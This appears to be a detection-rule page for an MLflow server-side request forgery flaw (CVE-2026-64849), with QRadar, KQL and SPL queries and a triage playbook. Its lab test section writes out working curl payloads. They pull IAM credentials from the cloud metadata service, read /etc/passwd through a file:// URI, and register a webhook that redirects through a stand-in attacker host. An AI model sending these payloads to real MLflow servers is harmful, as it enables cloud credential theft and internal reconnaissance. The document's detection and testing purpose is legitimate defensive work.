Detect MLflow Server-Side Request Forgery (CVE-2026-64849) in IBM QRadar
Detects exploitation of CVE-2026-64849, a critical (CVSS 9.3) unauthenticated server-side request forgery (SSRF) vulnerability in MLflow versions prior to 3.15.0. The flaw lives in MLflow's webhook delivery path: the `_validate_webhook_url` allowlist/denylist check is bypassable via unvalidated HTTP redirects and DNS rebinding, so an attacker who can register or trigger a webhook can coerce the server into issuing arbitrary HTTP/HTTPS requests. The same class of unvalidated server-side URI dereference also affects user-controlled artifact locations, model registry source paths, and proxied artifact endpoints. On cloud-hosted deployments this is commonly abused to reach the instance metadata service (IMDS, 169.254.169.254) and exfiltrate IAM credentials, or to perform full-read SSRF against internal services. A public proof-of-concept exists (exploit status: poc-public). This detection surfaces MLflow server processes and web/proxy logs where inbound requests carry attacker-controlled URIs pointing at internal, loopback, link-local, or metadata addresses, webhook registrations targeting such hosts, and outbound requests from the MLflow host to metadata/internal ranges — including redirect-driven and DNS-rebinding pivots.
MITRE ATT&CK
- Tactic
- Initial Access Discovery Collection
QRadar Detection Query
SELECT sourceip, destinationip, url, "UserAgent" FROM events WHERE (url ILIKE '%mlflow%' OR url ILIKE '%get-artifact%' OR url ILIKE '%model-versions%' OR url ILIKE '%webhooks%') AND (url ILIKE '%169.254.169.254%' OR url ILIKE '%metadata.google.internal%' OR url ILIKE '%127.0.0.1%' OR url ILIKE '%100.100.100.200%' OR url ILIKE '%file://%' OR url ILIKE '%gopher://%') AND (url ILIKE '%artifact_uri%' OR url ILIKE '%source=%' OR url ILIKE '%dst_path%' OR url ILIKE '%artifact_location%' OR url ILIKE '%webhook%') LAST 24 HOURS QRadar AQL query matching MLflow API requests whose URL contains both an SSRF-capable parameter (artifact or webhook) and an internal/metadata target host, indicating CVE-2026-64849 exploitation attempts.
Data Sources
Required Tables
False Positives & Tuning
- Loopback artifact stores on single-host MLflow deployments.
- Internal model-registry hostnames referenced by legitimate automation.
- Vulnerability scanners replaying SSRF payloads.
Other platforms for CVE-2026-64849
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1MLflow SSRF to cloud metadata via artifact endpoint
Expected signal: Inbound web/proxy log entry to an MLflow artifact endpoint with a metadata-address URI parameter; outbound connection from MLflow host to 169.254.169.254.
- Test 2MLflow SSRF to loopback internal service
Expected signal: MLflow API request logged with a source parameter referencing 127.0.0.1; server-side outbound connection to the loopback service.
- Test 3MLflow webhook SSRF via redirect bypass to metadata
Expected signal: MLflow webhook registration logged with an external URL; on delivery, an outbound request that follows a 30x redirect into 169.254.169.254 from the MLflow host.
- Test 4MLflow SSRF non-HTTP scheme probe
Expected signal: Web log entry containing a file:// URI on an MLflow artifact endpoint.
References (7)
- https://nvd.nist.gov/vuln/detail/CVE-2026-64849
- https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
- https://github.com/advisories/GHSA-7gwp-5pfp-969j
- https://github.com/mlflow/mlflow/pull/24258
- https://github.com/mlflow/mlflow/issues/24179
- https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
- https://github.com/mlflow/mlflow/releases/tag/v3.15.0
Response Playbook
Triage
- Confirm the MLflow version on the affected host (`mlflow --version` or `pip show mlflow`); versions < 3.15.0 are vulnerable to CVE-2026-64849.
- Decode the inbound request URI parameters (artifact_uri, source, dst_path, artifact_location, webhook url) and determine the SSRF target — pay special attention to 169.254.169.254, metadata.google.internal, 100.100.100.200, loopback, and internal RFC1918 ranges.
- Review MLflow webhook registrations/deliveries: the `_validate_webhook_url` check is bypassable via HTTP redirects and DNS rebinding, so inspect webhook target hosts and any 30x redirect chains or short-TTL DNS records they resolve through.
- Correlate the inbound request timestamp with outbound connections from the MLflow host to metadata/internal endpoints to confirm the SSRF actually fired.
- Review the HTTP response codes/sizes returned to the requesting client to gauge whether metadata/credential content may have been exfiltrated (full-read SSRF).
Containment
- Block inbound access to the MLflow tracking server from untrusted networks at the firewall/WAF and restrict it to authenticated internal clients.
- Apply IMDSv2 (hop-limit + session tokens) or block egress from the MLflow host to 169.254.169.254 / metadata endpoints to neutralize credential theft.
- Upgrade MLflow to >= 3.15.0 which contains the fix (commit ba949522) hardening webhook URL validation against redirects and rebinding, and restart the service.
Evidence Collection
- Preserve web/proxy access logs, MLflow gunicorn logs, webhook configuration/delivery records, and the full request/response for the flagged transactions.
- Capture outbound netflow/connection logs from the MLflow host to metadata and internal ranges for the incident window, including any redirect-followed destinations.
Escalation Criteria
- !Escalate to IR if an outbound connection to 169.254.169.254/metadata.google.internal succeeded following an inbound SSRF request — assume cloud IAM credentials were exposed and rotate them.
- !Escalate if SSRF requests targeted internal services (databases, admin panels) beyond metadata, indicating lateral reconnaissance or full-read data exfiltration.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
MLflow/gunicorn access and error logs showing the crafted artifact_uri/source/webhook parameters. - >
MLflow webhook registration and delivery records, including target URLs and redirect chains. - >
Reverse proxy or load balancer access logs with the inbound SSRF request. - >
Host netflow/connection records showing egress to 169.254.169.254 or internal ranges. - >
DNS resolver logs showing short-TTL records consistent with DNS-rebinding of a webhook host. - >
Cloud provider IAM/CloudTrail logs showing use of instance-role credentials from unexpected principals or IPs.
Tuning Guidance
Baseline legitimate artifact-store URIs and webhook targets used by your MLflow deployment (e.g., s3://, azure://, gs:// buckets, a known internal artifact host, or a sanctioned notification endpoint) and allowlist them. Alert with high confidence only when the target host is a link-local/metadata address (169.254.169.254, metadata.google.internal, 100.100.100.200) or when non-HTTP schemes (file://, gopher://, dict://) appear. Because the webhook-delivery bypass leverages HTTP redirects and DNS rebinding, also flag outbound MLflow requests that follow a 30x redirect into RFC1918/link-local space or resolve a webhook host to an internal IP. Suppress single-host dev installs that legitimately use 127.0.0.1 artifact stores by scoping the rule to internet-exposed/production MLflow servers.
Hunting Queries
Hunt for any MLflow request whose decoded query string references metadata, loopback, webhook targets, or non-HTTP URI schemes indicative of SSRF probing.
W3CIISLog | where csUriStem has "mlflow" | extend q=url_decode(csUriQuery) | where q has_any ("169.254.169.254","metadata","file://","gopher://","webhook") | project TimeGenerated, cIP, csUriStem, q index=web uri_path=*mlflow* | eval d=urldecode(uri_query) | search d="*169.254.169.254*" OR d="*metadata*" OR d="*file://*" OR d="*webhook*" | table _time src_ip uri_path d Atomic Red Team Tests
Sends a crafted request to the MLflow get-artifact/proxied-artifact endpoint with an artifact URI pointing at the cloud metadata service to simulate CVE-2026-64849 exploitation (lab only).
Command
curl -s -G 'http://mlflow-lab.internal:5000/api/2.0/mlflow-artifacts/artifacts' --data-urlencode 'path=http://169.254.169.254/latest/meta-data/iam/security-credentials/' Cleanup
echo 'No persistent artifact created; clear proxy/access logs if required for lab reset.' Expected Telemetry
Inbound web/proxy log entry to an MLflow artifact endpoint with a metadata-address URI parameter; outbound connection from MLflow host to 169.254.169.254.
Expected Detection
KQL/SPL inbound-URI rules match on the metadata target; EQL/CQL match on the outbound metadata connection.
Registers a model version with a source URI pointing at a loopback/internal service to trigger server-side dereference of an internal endpoint.
Command
curl -s -X POST 'http://mlflow-lab.internal:5000/api/2.0/mlflow/model-versions/create' -H 'Content-Type: application/json' -d '{"name":"ssrf-test","source":"http://127.0.0.1:8080/admin","run_id":"0"}' Cleanup
curl -s -X DELETE 'http://mlflow-lab.internal:5000/api/2.0/mlflow/registered-models/delete' -H 'Content-Type: application/json' -d '{"name":"ssrf-test"}' || true Expected Telemetry
MLflow API request logged with a source parameter referencing 127.0.0.1; server-side outbound connection to the loopback service.
Expected Detection
Inbound-URI SSRF rules match on the loopback source parameter.
Registers an MLflow webhook whose URL points at an attacker-controlled endpoint that 302-redirects to the cloud metadata service, exercising the _validate_webhook_url redirect bypass in CVE-2026-64849 (lab only).
Command
curl -s -X POST 'http://mlflow-lab.internal:5000/api/2.0/mlflow/webhooks/create' -H 'Content-Type: application/json' -d '{"name":"ssrf-hook","url":"http://attacker-redirect.lab/redirect?to=http://169.254.169.254/latest/meta-data/iam/security-credentials/","events":["model_version.created"]}' Cleanup
curl -s -X DELETE 'http://mlflow-lab.internal:5000/api/2.0/mlflow/webhooks/delete' -H 'Content-Type: application/json' -d '{"name":"ssrf-hook"}' || true Expected Telemetry
MLflow webhook registration logged with an external URL; on delivery, an outbound request that follows a 30x redirect into 169.254.169.254 from the MLflow host.
Expected Detection
Inbound webhook-URI rules match on registration; EQL/CQL match on the redirect-driven outbound metadata connection.
Attempts an artifact download with a file:// / gopher:// scheme to test scheme-based SSRF handling in a vulnerable MLflow server.
Command
curl -s -G 'http://mlflow-lab.internal:5000/get-artifact' --data-urlencode 'path=file:///etc/passwd' --data-urlencode 'run_uuid=0' Cleanup
echo 'No cleanup required; lab request only.' Expected Telemetry
Web log entry containing a file:// URI on an MLflow artifact endpoint.
Expected Detection
URI-scheme SSRF rules (file:///gopher://) fire on the request.